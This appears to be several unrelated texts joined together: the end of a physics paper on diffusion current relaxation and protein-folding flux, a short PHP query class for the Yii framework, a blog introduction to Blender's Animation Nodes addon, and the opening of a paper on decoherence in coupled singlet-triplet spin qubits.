\caption{Numerical data for diffusion down an inverted parabola potential in a source-sink system ($\mathrm{MFPT} = \overline{t}=6.2$ns). Left: The system is initialized with a delta-distribution at the source, and the current towards the target is plotted from the source at $x=12.0$nm to the sink (target) at $x=0$, and is seen to relax monotonically to steady-state. Right: The maximum (solid black) and minimum (dashed black) currents converge monotonically toward the steady-state value with increasing time, while the current at sink (red) relaxes non-monotonically. Inset: Potential energy in the domain.}
\label{fig:parabolaPotential}
\end{figure}
\section*{Discussion of more complex systems}
Should we expect that analogous bounds exist in cases of practical interest,
when the current from a high-dimensional system is integrated over iso-surfaces of a
one-dimensional coordinate $q$?
This is a situation often encountered in molecular simulation, where conformational transitions of interest require correlated motion between many hundreds or thousands of atoms, and are observed along a handful of collective coordinates.
In fact, there is no maximum principle for the locally defined current magnitude in higher dimensional spaces, but even when the local high-dimensional current magnitude does not monotonically decay, the flux over iso-surfaces of a reaction coordinate may exhibit monotonic decay: see below and Appendix \ref{app:2Dcounterexample}.
We have not derived general results for this case, but there are interesting hints in the literature that a more general formulation may be possible.
Most notably, Berezhkovskii and Szabo showed that the probability density
$p(\phi,t)$ of the ``committor" coordinate $\phi$ evolves according to a
standard Smoluchowski equation under the assumption that ``orthogonal
coordinates'' (along each iso-committor surface) are equilibrium-distributed
according to a Boltzmann factor \cite{berezhkovskii2013diffusion}; see also Ref.\ \onlinecite{lu2014exact}. Note that the
committor $0 \leq \phi \leq 1$ is defined in the full domain to be
the probability of starting at each point and reaching a chosen target state before visiting the given
initial state. Because our preceding derivation of current bounds for
one-dimensional systems relied entirely on the Smoluchowski equation, it follows
that the current projected onto the committor, $J(\phi)$ would be subject to the
same bounds -- so long as the additional assumption about equilibrated
orthogonal coordinates holds
\cite{vanden2003fast,hartmann2007model,legoll2010effective}.
\begin{figure}
\centering
\includegraphics[width=0.7\linewidth]{simpleDiffusion_fluxlines.pdf}
\caption{Schematic of flows and isocommitor surfaces. Steady-state current flow lines (solid lines with arrows) and committor isosurfaces (dashed lines) are shown in a bounded domain with source (A) and sink (B) states. As discussed in the text, no component of the steady-state current can flow along isocommittor surfaces, which also must exhibit the equilibrium distribution, when suitable boundary conditions are enforced.}
\label{fig:fluxlines}
\end{figure}
It is intriguing to note that the orthogonal equilibration assumption is true in one type of A $\to$ B steady state.
Consider a steady state constructed using "EqSurf" feedback \cite{bhatt2011beyond}, in which probability arriving to the target state B is fed back to the \emph{surface} of initial state A according to the distribution which would enter A (from B) in equilibrium; this procedure preserves the equilibrium distribution within A \cite{bhatt2011beyond}.
For \emph{any} steady state, the current is a vector field characterized by flow lines, each of which is always tangent to the current.
Then, the probability density on any surface orthogonal to the flow lines must be in equilibrium: if this were not the case, a lack of detailed balance would lead to net flow of probability, violating the assumption of orthogonality to the current lines. A visual schematic of such a steady-state is shown in Figure \ref{fig:fluxlines}.
The same orthogonal surfaces must also be iso-committor surfaces in the EqSurf case,
which can be shown by direct calculation.
Using the known relationship between the steady current, committor and potential energy for the EqSurf steady state \cite{berezhkovskii2013diffusion} one finds that the current is indeed parallel to the gradient of the committor:
\begin{equation}
\vec{J_{ss}} = (1/Z) \, e^{-\beta U(\vec{x})} \, \nabla \phi(\vec{x}) \;, \end{equation}
where $\vec{x}$ is the full set of configurational coordinates, $\phi$ is the committor, and $Z$ is the system partition function.
This special case of ``orthogonal equilibration'' is quite interesting, but we remind readers that the transient (pre-steady-state) behavior orthogonal to current lines has not been characterized here.
\begin{figure}
\centering
\includegraphics[width=0.7\linewidth]{evolving_fluxes_NTL9.pdf}
\caption{Numerical data for a complex system -- atomistic protein folding.
The data show protein folding flux for atomistic, implicitly solvated NTL9 \cite{adhikari2018computational} as a function of a projected coordinate (RSMD) averaged over several time intervals during a simulation.
The flux is the total probability crossing the indicated RMSD iso-surface per second.
Data were obtained from weighted ensemble simulation, which orchestrates multiple trajectories to obtain unbiased information in the full space of coordinates over time -- i.e., Fokker-Planck-equation behavior is recapitulated \cite{zhang2010weighted}.
Only positive (folding direction) current is shown, although some RMSD increments exhibit negative flux in some time intervals due to incomplete sampling/noise.}
\label{fig:protein}
\end{figure}
We also provide numerical evidence for nearly monotonic relaxation behavior of the
current in a highly complex system, an atomistic model of the protein NTL9
undergoing folding. Fig.\ \ref{fig:protein} shows the \emph{flux} (total probability per second) crossing iso-surfaces of a collective variable, the RMSD, which here is the minimum root
mean-squared deviation of atom pair distances between a given configuration and
a fixed reference folded configuration -- minimized over all translations and
rotations of the two configurations. Since the collective variable iso-surfaces separate the folded and unfolded states, at steady state the flux will become constant across iso-surfaces of the collective variable. Data were harvested from a prior study
using the weighted ensemble (WE) approach, which was implemented with a source
at one unfolded configuration and a sink at the folded state, defined as RMSD
$\leq 1 \buildrel _{\circ} \over {\mathrm{A}}$ \cite{adhikari2018computational}.
Although the RMSD is a distance measure from an arbitrary configuration to the
folded state, it is \emph{not} claimed to be a proxy for the committor
coordinate described above. Note that the WE method runs a set of unbiased
trajectories and performs occasional unbiased resampling in path space
\cite{zhang2010weighted}; thus WE provides the correct time-evolution of
currents and probability distributions, which are derived directly from the path
ensemble.
Although the RMSD coordinate used in the NTL9 simulations is not likely to be an ideal reaction coordinate, we still observe monotonic relaxation of the flux profile. For this set of 30 weighted ensemble simulations of NTL9 protein folding, during the observed transient regime (where all trajectories were initialized in the unfolded state), the steady state is monotonically approached out to 45 ns molecular time (reflecting 225$\mu$s of aggregate simulation).
Further, although the current profile was still evolving in the NTL9 simulations and not fully steady, using the Hill relation \eqref{hill} for the $\mathrm{MFPT}$ from the flux into the folded state yielded a folding time of 0.2-2.0 ms, consistent with the experimental value\cite{adhikari2018computational}.
Identifying good reaction coordinates to describe long-timescale conformational transitions remains a challenging problem in complex systems,\cite{best2005reaction,rohrdanz2013discovering,mcgibbon2017identification} and is beyond the scope of the present study.
For a perfect collective variable which captures the ``slow'' coordinates such that orthogonal degrees of freedom are equilibrated, the system can be effectively described by a 1D Smoluchowski equation and thus the global flux extrema will relax monotonically.
Our hope is that this work, proving monotonic decay for the current in simple 1D systems, will inspire work to show how the projected current on imperfect reaction coordinates can provide bounds for the steady-state current.
In the realm of speculation, motivated in part by our numerical data, one can
ask whether a variational principle should hold. That is, if there are projected
coordinates with higher and lower current maxima, is the lower maximum always a
valid bound? This is a question for future investigation.
\section*{Implications for Numerical Computations}
There is significant motivation for pursuing steady-state behavior: in the non-equilibrium source-sink feedback systems studied here, the steady-state flux yields the mean first-passage time (MFPT) for transitions between two macrostates of interest via the Hill relation Eq. \eqref{hill}.
The relaxation time to steady state can be many orders of magnitude faster than the $\mathrm{MFPT}$ in kinetically well-separated systems without significant intermediate metastable states: see Fig.\ \ref{fig:potential}. Hence, large gains in estimating the MFPT could be obtained by sampling from the short-time non-equilibrium trajectory ensemble if the flux can be tightly bounded from above and below.
Such transient information has been leveraged in Markov State Modeling approaches\cite{singhal2004using,noe2007hierarchical,chodera2014markov}, but a lack of separation of timescales between individual states can bias kinetic predictions\cite{suarez2016accurate}. When sampling from the non-equilibrium trajectory ensemble, the concerns are different. We propose that the observed transient flux can bound the steady-state flux along suitable reaction coordinates \cite{berezhkovskii2013diffusion} with clear separation of timescales between ``slow'' reaction progress and orthogonal degrees of freedom -- that is, in systems where transitions which are effectively one-dimensional. These bounds will become tighter as sampling time increases; the $\mathrm{MFPT}$ is estimated exactly via \eqref{hill} when the sampling converges to steady state.
In terms of practical estimators, having upper and lower bounds based on the
``spatial'' variation of the flux would imply that \emph{any} spatial average
of the flux is a valid estimator for the steady flux that must
converge to the true value at large $t$. For a high-dimensional system, the
``spatial'' average would correspond to an average along the collective
coordinate exhibiting the bounds. Such an average could be linear or non-linear.
The potential value of such average-based estimators can be seen from the
spatial current (flux) profiles plotted in Figs.\ \ref{fig:simple}-\ref{fig:protein}, where the
$\mathrm{MFPT}$ is estimated based on the flux into the sink
and is essentially the minimum flux during the transient period prior to steady state.
It seems clear that averaging among values
between the minimum and maximum would yield, at moderate $t$, values much closer
to the steady flux reached after long times.
Such estimators will be explored in the future.
\section*{Acknowledgements}
We are very appreciative of discussions with Sasha Berezhkovskii and David Zuckerman.
This work was supported by NSF Grants CHE-1566001 (to DEM), DMS-1522398 (DA) and DMS-1818726 (DA and GS), by NIH Grant GM115805 (DMZ), as well as by the Robert A. Welch Foundation Grant No. F-1514 (DEM).
| {
"redpajama_set_name": "RedPajamaArXiv"
} | 965 |
<?php
namespace app\models;
/**
* This is the ActiveQuery class for [[Subcategoria]].
*
* @see Subcategoria
*/
class SubcategoriaQuery extends \yii\db\ActiveQuery
{
/*public function active()
{
$this->andWhere('[[status]]=1');
return $this;
}*/
/**
* @inheritdoc
* @return Subcategoria[]|array
*/
public function all($db = null)
{
return parent::all($db);
}
/**
* @inheritdoc
* @return Subcategoria|array|null
*/
public function one($db = null)
{
return parent::one($db);
}
} | {
"redpajama_set_name": "RedPajamaGithub"
} | 9,140 |
{"url":"https:\/\/squircleart.github.io\/animation-nodes\/the-essense-of-animation-nodes-preface.html","text":"Preface\n\nPrerequisites:\n\nThe following is a list of all prerequisites in order to make the most out of the following tutorial.\n\u2022 There are no prerequisites, you are good to go.\n\nIn this first part of the series, we will talk about Animation Nodes and get ready for the tutorial series.\n\nAnimation Nodes\n\nAnimation Nodes is a blender addon which was meant to be a node based visual scripting system designed for motion graphics integrated into blender, or this is how its creator\u2013Jacques Lucke\u2013described it at the time. However, for me, Animation Nodes was and is more than just a system for creating motion graphics.\n\nAnimation Nodes is often denoted using the two upper case letters \u201cAN\u201d so don\u2019t get confused if I used this notation throughout my posts.\n\nApplications\n\nAnimation Nodes is a complete Framework for creating almost everything in blender. Animation Nodes can be a helpful assistant for artists by providing an interactive and intuitive system for:\n\n\u2022 Controlling objects\u2019 properties in a property driven manner. For instance, controlling the location of an object based on its rotation.\n\u2022 Automating modeling procedures. For instance, distributing hundreds of strawberry\u2019s seeds on a mesh\u2019s surface.\n\u2022 Procedural modeling and parametric design. For instance, modeling a rock and randomizing its shape.\n\u2022 Procedural Animations. For instance, modeling sophisticated animated paths that can be described using a mathematical model.\n\nThe previous applications is as far as artists are concerned. However, some people like TDs, such as myself, are interested in more advanced applications and uses for Animation Nodes which yields some interesting tools that artists can use.\n\nEngineers, Scientists, Mathematicians and Students like to have a Numerical computing software such as Matlab or Octave which is basically a program that provides them with tools to do Numerical analysis, Statistical studies, Plotting, etc. Being a student myself, I didn\u2019t really need any of these programs because Animation Nodes was more than sufficient for my study.\n\nWhat can be done?\n\nYou might be thinking, \u201cAnimation\u201d Nodes is a tool to make \u2026 well, animations, and this is a common misconception.\n\nLet me tell you that Animation Nodes is in fact somewhat not capable of doing animations. As we said, before Animation Nodes can be used to control objects\u2019 properties based on some other properties and we can utilize this to animate, that is, controlling objects properties based on time and that we call a Function of time. I am telling you this because I want to change your idea about the capabilities of Animation Nodes so you can be more open minded about the possibilities here.\n\nI have been using Animation Nodes for almost 8 months now. And I want you to take my word for it:\n\nWe can create anything and everything in Animation Nodes and the only limitations is the limitation of your imagination and creativity.\n\nHistory of Animation Nodes\n\nAnimation Nodes was first release in October 2015 but it hadn\u2019t gained its popularity till version 1.6 which was released in Jun 2016. At that point Animation Nodes was fully featured and very useable but it was not very artist friendly. That\u2019s when version 2.0 came, this version was a game changer, some parts of Animation Nodes were rewritten in a programming language called Cython which resulted in two things:\n\n\u2022 General speed up for Animation Nodes which is up to 400x in some nodes.\n\u2022 Animation Nodes became compiled and operating system specific, which means that you can no longer grab the source from Github and expect it to work. You will have to download a build specific for your operating system.\n\nVersion 2.0 also introduced high level objects called Falloffs and socket vectorization which made Animation Nodes very artist-friendly and easy to use.\n\nSince then, Jacques has been actively developing Animation Nodes making it easier, faster and more efficient.\n\nThe Essence Of Animation Nodes\n\nThe essence of Animation Nodes will be a tutorial series of an undefined length to get you going with problem solving using Animation Nodes. And we will do that by giving a handful of examples.\n\nIn this series I am going to teach you everything you need to know to set off on your own, it should be noted that I won\u2019t go into the details of creating something specific, I will just be giving you the essence of it through examples, and by doing that save you a month you would have spent in getting your head around Animation Nodes.\n\nHow I learned AN?\n\nObviously I had to learn the basics somewhere and that was Jacques\u2019s and Jimmy Gunawan\u2019s tutorials, I studied their tutorials for 2 days and set off to learn on my own. I just started creating and creating till I got the hang of it.\n\nThere are always two aspects you have to look at when learning a new system, there is the general knowledge of the subject which is in our case the basics of mathematics and computer graphics, and there is the the system specific knowledge, that is, to know how to operate the system of Animation Nodes. It is essential that you learn both the general and system specific knowledge concurrently, because they mutually improve and support each other.\n\nWhat will we be doing?\n\nThe actual learning itself lies in the process of trying, failing and gaining experience. And you won\u2019t need any documentation or any tutorial to do so. Rather, no documentation nor tutorials will give you that knowledge and experience.\n\nAs I said, we will be giving a lot of examples, and in those examples you might see me using the fundamental nodes to do some operations that can be easily done using an existing node, and this is not because I am reinventing the wheel, I just want you to see the gears and wheels behind those nodes and emphasize on the fact that Animation Nodes doesn\u2019t lack \u201cnodes\u201d and you can create everything yourself.\n\nAcknowledgement\n\nI want to specifically thank:\n\n\u2022 Jacques Lucke - The developer of Animation Nodes and the guy who taught me everything I know about computer science.\n\u2022 Jimmy Gunawan - A first class noder who helped me when I started, and a guy who has the creativity do cool procedural stuff using nodes everyday!\n\nDW\n\nExcellent tutorials! I only wish there was a better way to navigate between the different sections rather than \u201cNext Part\u201d\u2026.\u201dPrevious Part\u201d. Lots of time spent hunting for a certain part. Would be great if you had an index page linking all sections.\n\nPeter Hilgers\n\nVery good tutorial. I would also like to read on paper. 20 \u20ac for a complete PDF of the essence would not be too much.","date":"2018-12-18 13:00:44","metadata":"{\"extraction_info\": {\"found_math\": true, \"script_math_tex\": 0, \"script_math_asciimath\": 0, \"math_annotations\": 0, \"math_alttext\": 0, \"mathml\": 0, \"mathjax_tag\": 0, \"mathjax_inline_tex\": 0, \"mathjax_display_tex\": 0, \"mathjax_asciimath\": 1, \"img_math\": 0, \"codecogs_latex\": 0, \"wp_latex\": 0, \"mimetex.cgi\": 0, \"\/images\/math\/codecogs\": 0, \"mathtex.cgi\": 0, \"katex\": 0, \"math-container\": 0, \"wp-katex-eq\": 0, \"align\": 0, \"equation\": 0, \"x-ck12\": 0, \"texerror\": 0, \"math_score\": 0.3171551525592804, \"perplexity\": 908.4236372047212}, \"config\": {\"markdown_headings\": false, \"markdown_code\": true, \"boilerplate_config\": {\"ratio_threshold\": 0.18, \"absolute_threshold\": 10, \"end_threshold\": 15, \"enable\": false}, \"remove_buttons\": true, \"remove_image_figures\": true, \"remove_link_clusters\": true, \"table_config\": {\"min_rows\": 2, \"min_cols\": 3, \"format\": \"plain\"}, \"remove_chinese\": true, \"remove_edit_buttons\": true, \"extract_latex\": true}, \"warc_path\": \"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376829399.59\/warc\/CC-MAIN-20181218123521-20181218145521-00591.warc.gz\"}"} | null | null |
class ManageIQ::Providers::StorageManager::Inventory::Parser < ManageIQ::Providers::Inventory::Parser
require_nested :SwiftManager
end
| {
"redpajama_set_name": "RedPajamaGithub"
} | 274 |
Purchase Auto Insurance Policies in Winter Park, Florida (FL) at the LOWEST PRICES Online!
Initially, the first thing the insurance discount from your living address, make and model year. Do your best talent in bargaining. They take into account all possible damages and have a detailed report to the house cheap auto insurance quotes in Florida policy types and minimum coverage laws, you will get dinged or even rent a house phone. In fact have no choice but in these details several times and especially if you look, the subtle differences between personal automobile. Before applying for cover. No one would know how to handle money, how to close the case. Your car, and you will automatically be promoted to low rates. Renters on the type of car insurance company. Florida auto insurance is generally negligible.
Irrespective of the rest of the TIME? Then, when you purchase a policy that will be friendliest to a year. This is particularly relevant if you are injured in an accident, which isn't your fault? You can go a medical issue, its nice to have to pay on time. If your existing policy, you buy a new credit card. Ensure that they will often be charged as much as someone with 5 different prescriptions. State insurance companies will offer discounted monthly.
If you are likely to be cheap! Consumers should not be afraid to play hardball, negotiate your claims. Free auto insurance quotes in FL and find the money so the safer they feel you are looking for free auto insurance quotes is like a few clicks of the fee you are looking for auto insurance quotes in FL premium. Some of the other people for their families. When looking at saving a few short minutes. (Over insurance is compulsory that you just caused bumper damage, but your insurance, you may cause some cities and states actually require this to consider getting commercial cheap auto insurance quotes in Winter Park Washington state or DC), it's time to review the insurance company and had to get cheap auto insurance quotes in Winter Park, FL agent who can guide you through the Internet. If you still need to claim. I am now here to find cheaper car versus an SUV-which do you pay a service to be more expensive than group insurance. The system they use them to a price that you have a bad credit, you will be paid that precise sum. In July 2003, the state mandatory laws concerning car. A job, serious illness, and is frequently updated regarding any changes in inflation, although benefits. Although insurance is certainly going to go through the following needs to visit each one of my readers have roadside assistance service instead of going around in a clean driving record, any criminal. You lose your license with just one speeding ticket can have on a Nursery Rhyme which has standardized insurance cover. | {
"redpajama_set_name": "RedPajamaC4"
} | 6,209 |
\section{Introduction}
Localized electron spins in semiconductor quantum dots provide a promising
architecture for quantum computation~\cite{Loss98,DiVincenzo00,Levy02,Koppens06}.
Compared with alternative platforms (e.g., trapped ions, trapped atoms, or
superconducting circuits),
semiconductor spin qubits have the threefold advantage of (1) fast single-qubit gate
operations, (2) long coherence time~\cite{Veldhorst14},
and (3) potential for scalability~\cite{Friesen03,Taylor05} because of advanced
fabrication technology developed for semiconductor integrated circuits~\cite{Zwanenburg13:QE}.
There has been significant progress in the experimental development of
high-fidelity single spin qubit gate operations in different platforms using
different materials.
Unfortunately, despite considerable experimental
efforts~\cite{vanWeperen11,Nowack11,Shulman12,Veldhorst15,Nichol17}, it remains
challenging to engineer high-fidelity two-qubit entangling gates for semiconductor spin qubits,
as decoherence due to environmental noises is exacerbated by
comparatively weak coupling between localized electron spins.
In fact, the experimental progress in developing two-qubit gates in
semiconductor spin quantum computing platforms has been disappointing so far
when compared with the corresponding situation in superconducting and ion trap
platforms.
The relatively low entangling-gate fidelity of spin qubits
($0.9$ in GaAs as reported in Ref.~\onlinecite{Nichol17})
is currently the main obstacle to unlocking their aforementioned advantage as
a platform for large-scale quantum computing,
and it calls for a better understanding of the effect of environmental noises on
the dynamics of two coupled semiconductor spin qubits in order to enhance the
coupled-qubit fidelity.
In this paper, we undertake this challenge and study the decoherence of two coupled
singlet-triplet spin qubits~\cite{Levy02,Petta05},
which are among the actively studied spin qubits with the added advantage that
two-qubit gate operations have been demonstrated in GaAs-based singlet-triplet
qubits~\cite{Shulman12,Nichol17}.
Each singlet-triplet qubit consists of a pair of exchange-coupled electron
spins localized in a double quantum dot,
and the two qubits interact via an Ising-type capacitive coupling~\cite{Shulman12}.
Compared with the exchange-coupled spin qubits~\cite{Loss98} studied in a
previous paper~\cite{Throckmorton17},
where two localized electron spins are coupled through the Heisenberg
coupling~\cite{Scarola05,Hu00},
the singlet-triplet system we consider here
enjoys full two-axis control through purely electrical gating~\cite{Wu14}
and is protected from homogeneous magnetic field fluctuations in
each double quantum dot~\cite{Levy02}.
It also operates in a larger active Hilbert space due to the lack of spin
conservation, and has more complicated dynamics and richer physics.
This makes it harder to extract useful insights from analytical solutions~\cite{Wang15}.
Instead, we study the coupled singlet-triplet qubits through numerical calculations
in order to provide quantitative insight into the detrimental role of
(electric) charge and (magnetic) field noise on the two-qubit Ising gate
operations.
We mention that sophisticated dynamical decoupling schemes have already been
developed for semiconductor singlet-triplet qubits enabling efficient and
fault-tolerant gate operations~\cite{Wang12,Wang14,Zhang17,Throckmorton1709},
and substantial progress is likely in the near future once two-qubit
entangling gates achieve higher fidelity, making our current theoretical
analysis timely.
We consider coupled-qubit decoherence from two different types of
environmental noises,
charge noise from charge fluctuations in each qubit device~\cite{Hu06},
and field (Overhauser) noise due to nuclear spin dynamics in the
semiconductor background~\cite{deSousa03}.
We assume that the noises are slow relative to the qubit dynamics, and
we model them in the quasistatic bath approximation by averaging observables over
time-independent but randomly distributed disorder configurations.
The quasistatic bath approximation has been used extensively in the
semiconductor spin qubit studies and is generally considered to be quite valid
in most situations~\cite{Throckmorton17}.
The decoherence of the coupled qubits is examined quantitatively through a
pair of complementary probes.
First, we extract a characteristic time scale, the two-qubit coherence time,
from the envelope decay of the coupled-qubit oscillations.
This measures the persistence of the initial state information in the presence
of environmental noises.
It also provides a direct physical measure of the time duration of coherent
gate oscillations.
Second, we compute the fidelity of preparing an entangled state through time
evolution from an unentangled product state.
This quantifies the ability of the coupled qubits to carry out a precise unitary
transformation despite the fluctuations in coupling parameters, and serves as
a simple proxy for gate fidelity.
We also note in this context the interesting possibility of singlet-triplet
semiconductor qubits being effective quantum sensors because of their delicate
dependence on charge and field noises. In particular, the type of theoretical
analysis presented in the current work can be inverted and used for a
quantitative determination of background charge and/or field fluctuations from
the singlet-triplet entanglement information as described in our study.
We study the dependence of these two fidelity measures on charge noise,
field noise, as well as the magnetic field gradient across each
singlet-triplet qubit.
When the average magnetic field gradient is zero, we find that the coupled
singlet-triplet qubits are significantly more susceptible to charge noise than
field noise.
This difference is manifested in both the two-qubit coherence time and
the entanglement fidelity, although less pronounced in the
latter.
The situation changes dramatically when a strong magnetic field gradient is
applied in each qubit.
As the magnetic field gradient increases, the coupled-qubit system becomes more
sensitive to field noise and less to charge noise.
In the regime dominated by the magnetic field gradient, charge noise becomes
relatively inconsequential and the decoherence of the coupled qubits is mainly
driven by field noise, in sharp contrast to the situation without a strong
magnetic field gradient.
The change of noise sensitivity driven by the magnetic field gradient is a unique
feature of the singlet-triplet system and has no direct counterpart in a
system of two exchange-only qubits.
We mention that the magnetic field gradient induced strong suppression of the
charge noise effect on the two-qubit Ising gate operations for singlet-triplet
qubits provides encouraging prospects for Si-based quantum computing platforms
since isotopic purification enables the elimination of the nuclear field noise
in Si systems~\cite{Witzel10}.
The paper is organized as follows.
In Sec.~\ref{sec:t2}, we describe the Ising model of two single-triplet spin
qubits and discuss the two-qubit coherence time $T_2^*$.
We provide an operational definition of $T_2^*$ and examine its dependence on
both charge noise and field noise, as well as the magnetic field gradient.
In Sec.~\ref{sec:ent}, we introduce the fidelity of entangled state
preparation and examine its parametric dependence.
In Sec.~\ref{sec:conclusion}, we summarize our numerical results and highlight
the implications for future experiments.
\section{Two-qubit coherence time}
\label{sec:t2}
The system of two capacitively coupled singlet-triplet spin qubits
is described by the following Ising-type Hamiltonian~\cite{Shulman12,Nichol17}
\begin{equation}\label{eq:h}
H=\varepsilon J_1J_2\,\sigma_1^z\sigma^z_2
+J_1\sigma_1^z+J_2\sigma_2^z
+h_1\sigma^x_1+h_2\sigma^x_2.
\end{equation}
Here we work in the singlet-triplet basis, with the $\sigma^z_i=+1$ ($-1$)
eigenstate denoting the singlet (triplet) state of the two electrons in the
double quantum dot constituting the $i$th spin qubit ($i=1,2$), respectively.
For each spin qubit, the Zeeman $h_i\sigma_i^x$ term is controlled by the
magnetic field gradient $h_i$ across the corresponding double quantum dot,
and the $J_i\sigma_i^z$ term is controlled by the intraqubit exchange
coupling $J_i$ between the two electrons in the qubit.
The coupling $\varepsilon J_1J_2 \sigma_1^z\sigma_2^z$ between the two qubits
comes from the capacitive dipole-dipole interaction, with a strength approximately
proportional to the product of intraqubit exchange couplings $J_1J_2$ as
argued empirically in Ref.~\onlinecite{Shulman12}.
We employ the quasistatic bath approximation and model the environmental
noises by averaging observables over time-independent but randomly
distributed model parameters.
Specifically, the couplings $J_1$ and $J_2$ are drawn from a Gaussian
distribution with mean $J_0$ and variance $\sigma_J^2$ but restricted to
non-negative values,
and the transverse fields $h_1$ and $h_2$ are drawn from a Gaussian
distribution with mean $h_0$ and variance $\sigma_h^2$.
Physically, the parameter $J_0$ is the (average) exchange coupling between the
two electrons in each double quantum dot,
and the parameter $h_0$ is the (average) magnetic field gradient applied
between the two electrons.
In a typical experiment~\cite{Martins16,Nichol17}, the intraqubit exchange
$J_0$ is on the order of $10^2$MHz, and the (quasistatic equivalent of) charge
noise $\sigma_J$ is on the order of $10^{-2}\sim 10^{-1}J_0$.
The field noise $\sigma_h$ may range from up to $J_0$ in GaAs
to essentially negligible in isotopically purified $^{28}$Si.
For our numerical calculations,
we fix the interqubit coupling parameter $\varepsilon$ to $0.1J_0^{-1}$, and
focus on the effect of the remaining dimensionless parameters $\sigma_J/J_0$,
$\sigma_h/J_0$, and $h_0/J_0$.
For the disorder average, we typically use a sample size between $10^4$ and
$10^5$ for each parameter set.
We note that the dependence on $h_0$ is an important new
element in the physics of Ising-coupled singlet-triplet qubits with no analog
in the corresponding exchange coupled spin qubits studied in
Ref.~\onlinecite{Throckmorton17}.
\subsection{Decay of coupled-qubit oscillations}
In the following we introduce an operational definition for the
two-qubit coherence time $T_2^*$ from the envelope decay of the coupled-qubit
oscillations.
Without loss of generality, we consider the product initial state
$\ket{\psi(0)}=\ket{\uparrow}_x\otimes\ket{\uparrow}_x$ of the coupled qubits,
and we compute the dynamics of the disorder-averaged return probability to the
initial state
\begin{equation}
R(t)=\average{\big|\braket{\psi(0)|\psi(t)}\big|^2\,}.
\end{equation}
Here, the double bracket denotes the average over disorder realizations.
As the initial state $\ket{\psi(0)}$ is not an eigenstate of the coupled
qubits, the return probability is oscillatory in time.
The oscillations have a typical frequency on the order of $J_0$,
driven by the intraqubit exchange coupling $J_i\sigma_i^z$ terms in the
Hamiltonian [Eq.~\eqref{eq:h}],
and they are further modulated by beats with frequency around $\varepsilon J_0^2$
due to the interqubit coupling $\varepsilon J_1J_2\sigma_1^z\sigma_2^z$ term.
The oscillations in $R(t)$ are damped by environmental noises through disorder
averaging,
in a fashion mathematically similar to (although physically distinct from) the
decaying Rabi oscillations of a single qubit in the presence of environmental noises.
Very loosely one can think of these oscillations as the two-qubit Rabi
oscillations decaying due to charge and field noises.
A few representative examples of the decaying $R(t)$ curves are shown in
Fig.~\ref{fig:typical}, using noise parameters approximately
consistent with experimental situations.
\begin{figure}[]
\centering
\includegraphics{typical.pdf}%
\caption{\label{fig:typical}
Representative examples for the disorder-averaged return probability $R(t)$
(blue) for various system parameters.
The dashed orange lines show the least-squares fit of the upper envelope
of $R(t)$ to the exponential decay form in Eq.~\eqref{eq:decay-ansatz}.
The system parameters $\sigma_J,\sigma_h,h_0$ and the extracted coherence time
$T_2^*$ are listed in each panel.
}
\end{figure}
We extract from $R(t)$ a characteristic time scale $T_2^*$ associated with the
decay of the oscillation envelope of the coupled qubits, and use it as a
quantified measure of the coupled-qubit decoherence.
Compared with the exchange-only case~\cite{Throckmorton17}, the $R(t)$
oscillations here have more
complicated wave forms, with extra beats in the decay envelope.
Since these additional features are irrelevant to our main
goal of characterizing the damping effect of environmental noises,
we disregard them and adopt a simple fitting procedure that focuses only on the
decay envelope.
Operationally, we take the upper envelope of the $R(t)$ oscillations and
perform on it a least-squares fit to an exponential decay of the form
\begin{equation}\label{eq:decay-ansatz}
R(\infty)+A\,e^{-t/T_2^*},
\end{equation}
where $R(\infty)$ is estimated from the asymptotic value of $R(t)$ and $A$ is
a nuisance parameter of no interest in the current work.
The fitted upper envelope of $R(t)$ and the coherence time $T_2^*$ are shown
in Fig.~\ref{fig:typical} for a few representative examples.
Compared with the exchange-only case studied in
Ref.~\onlinecite{Throckmorton17}, here we are using a slightly different
operational definition for the two-qubit coherence time.
This is necessitated by the irregular wave forms of the coupled-qubit
oscillations allowed by a larger Hilbert space.
We emphasize that this alternative choice only introduces moderate variations
in the numerical value of $T_2^*$ and does not affect our conclusions
qualitatively.
In addition, it is worth emphasizing that the coherence time in this paper
measures the decay rate of the \emph{oscillation envelope} of the
disorder-averaged return probability $R(t)$, rather than the decay rate of
$R(t)$ itself. As we noted in a previous paper~\cite{Wu17}, the latter
definition is more appropriate for a large number of coupled qubits, whereas
the definition adopted here provides a more precise measure of the decoherence
process within a low-dimensional Hilbert space appropriate for just two coupled qubits.
\subsection{Quality factor}
The two-qubit coherence time $T_2^*$ as defined above measures the time it
takes for the envelope of the damped oscillations in $R(t)$
to decay to $1/e$ of its initial value.
Hence, the dimensionless combination $J_0T_2^*$ can be thought of as the number of
appreciable oscillations in $R(t)$ before it saturates to the asymptotic value $R(\infty)$.
In the results presented in Fig.~\ref{fig:typical}, the dimensionless
parameter $J_0T_2^*$ varies from $69$ [Fig.~\ref{fig:typical}(a)] to
$4$ [Fig.~\ref{fig:typical}(f)], with the results of Fig.~\ref{fig:typical}(f)
being the most representative of the current experimental state of
the arts in GaAs singlet-triplet qubits~\cite{Shulman12,Nichol17}
where only a few ($\lesssim 5$) two-qubit gate oscillations have so far been achieved
experimentally.
(We mention, however, that the experiments~\cite{Shulman12,Nichol17} are
mostly in the $h_0>0$ regime more appropriate for the discussion in the next
subsection of this paper.)
To convert this into a number with a normalization comparable with other
fidelity measures, we further define the quality factor~\cite{Throckmorton17}
\begin{equation}
Q=\exp\left(-\frac{1}{J_0T_2^*}\right).
\end{equation}
This quantity is essentially the exponential decay factor for the
return probability oscillation envelope over $\Delta t=1/J_0$,
the intraqubit exchange coupling time scale.
In the rest of this section we present numerical results on the decoherence of two
singlet-triplet qubits using the quality factor $Q$ as a quantitative measure
of coherence.
We will make comparisons with the exchange-only case studied in
Ref.~\onlinecite{Throckmorton17} where appropriate, and explain how the
additional tunability of the singlet-triplet system through the magnetic field
gradient may be exploited to suppress decoherence due to charge noise.
\begin{figure}[]
\centering
\includegraphics{q_cut.pdf}%
\caption{\label{fig:q-cut}
Quality factor $Q$
(a) as a function of the field noise $\sigma_h$ for various values of the
charge noise $\sigma_J$,
and (b) as a function of $\sigma_J$ for various values of $\sigma_h$.
Both panels have magnetic field gradient $h_0=0$.
}
\end{figure}
\begin{figure}[]
\centering
\includegraphics{q_heatmap.pdf}%
\caption{\label{fig:q-heatmap}
Quality factor $Q$ as a function of the charge noise $\sigma_J$ and the
field noise $\sigma_h$,
for magnetic field gradient $h_0=0$.
The three dotted contour lines mark the levels $Q=0.9$, $0.95$, and $0.99$.
}
\end{figure}
